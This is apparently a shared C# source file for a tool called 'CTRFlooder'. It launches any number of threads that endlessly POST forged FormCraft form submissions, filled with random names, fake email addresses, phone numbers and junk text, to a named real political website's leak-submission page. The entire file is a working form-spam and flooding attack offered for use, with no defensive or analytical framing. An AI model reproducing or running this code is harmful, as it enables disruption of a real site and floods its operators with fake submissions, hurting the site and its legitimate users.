· 9 years ago · Sep 16, 2016, 03:46 AM
1[code]using System;
2using System.Collections.Generic;
3using System.Linq;
4using System.Net.Http;
5using System.Threading;
6
7namespace CTRFlooder
8{
9 class CTRFlooder
10 {
11 public static string CTRUrl = "http://correctrecord.org/trumpleaks/";
12
13 public const string alphaNumericalChars = "qwertyuiopasdfghjklzxcvbnm0123456789";
14 public const string numericalChars = "0123456789";
15 public static volatile Random random = new Random((Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds);
16
17 private static int threadAmount = 0;
18 private static int threadDelay = 0;
19
20 static void Main(string[] args)
21 {
22 Console.ForegroundColor = ConsoleColor.Green;
23 Console.Write("∞/P.O.L.'s ");
24 Console.ForegroundColor = ConsoleColor.Red;
25 Console.Write(" CorrectTheRecord ");
26 Console.ForegroundColor = ConsoleColor.White;
27 Console.Write("\"Trump Leak\" ");
28 Console.ForegroundColor = ConsoleColor.Green;
29 Console.Write("Flooder ");
30 Console.ForegroundColor = ConsoleColor.Cyan;
31 Console.WriteLine("v1.1\n");
32
33 Console.ForegroundColor = ConsoleColor.White;
34 Console.WriteLine("Enter number of threads: ");
35 Console.ForegroundColor = ConsoleColor.Red;
36 threadAmount = int.Parse(Console.ReadLine());
37 Console.ForegroundColor = ConsoleColor.White;
38 Console.WriteLine("Enter delay after sending: ");
39 Console.ForegroundColor = ConsoleColor.Red;
40 threadDelay = int.Parse(Console.ReadLine());
41
42 Console.ForegroundColor = ConsoleColor.Gray;
43 Console.WriteLine("\nThread amount: " + threadAmount + ", Thread delay: " + threadDelay);
44 Console.ForegroundColor = ConsoleColor.Cyan;
45 Console.WriteLine("Starting!");
46
47 Console.ForegroundColor = ConsoleColor.Gray;
48
49 Thread[] threads = new Thread[threadAmount];
50 for (int x = 0; x < threadAmount; x++)
51 {
52 threads[x] = new Thread(SpamCTR);
53 threads[x].Start();
54 }
55 Console.WriteLine("All threads started");
56 while (true)
57 {
58 Thread.Sleep(10000);
59 }
60 }
61
62 public static async void SpamCTR()
63 {
64 while (true)
65 {
66 using (var client = new HttpClient())
67 {
68 var values = new Dictionary<string, string>
69 {
70 { "action", "formcraft3_form_submit" },
71 { "field2[]", RandomAlphaNumericalString(15) + ' ' + RandomAlphaNumericalString(15)},
72 { "field3", RandomAlphaNumericalString(25) + "@gmail.com" },
73 { "field7[]", RandomNumericalString(10) },
74 { "field5", RandomAlphaNumericalString(1000) },
75 { "website", "" },
76 { "id", "1" },
77 { "location", CTRUrl },
78 { "emails", "" },
79 { "hidden", "" },
80 { "redirect", "1" },
81 { "type", "all" },
82 { "trigger_integration", "" }
83 };
84
85 var content = new FormUrlEncodedContent(values);
86 var response = await client.PostAsync(CTRUrl, content);
87 var responseString = await response.Content.ReadAsStringAsync();
88 }
89
90 Console.Write(">");
91 Thread.Sleep(threadDelay);
92 }
93 }
94
95 public static string RandomAlphaNumericalString(int length)
96 {
97 return new string(Enumerable.Repeat(alphaNumericalChars, length).Select(s => s[random.Next(s.Length)]).ToArray());
98 }
99
100 public static string RandomNumericalString(int length)
101 {
102 return new string(Enumerable.Repeat(numericalChars, length).Select(s => s[random.Next(s.Length)]).ToArray());
103 }
104 }
105}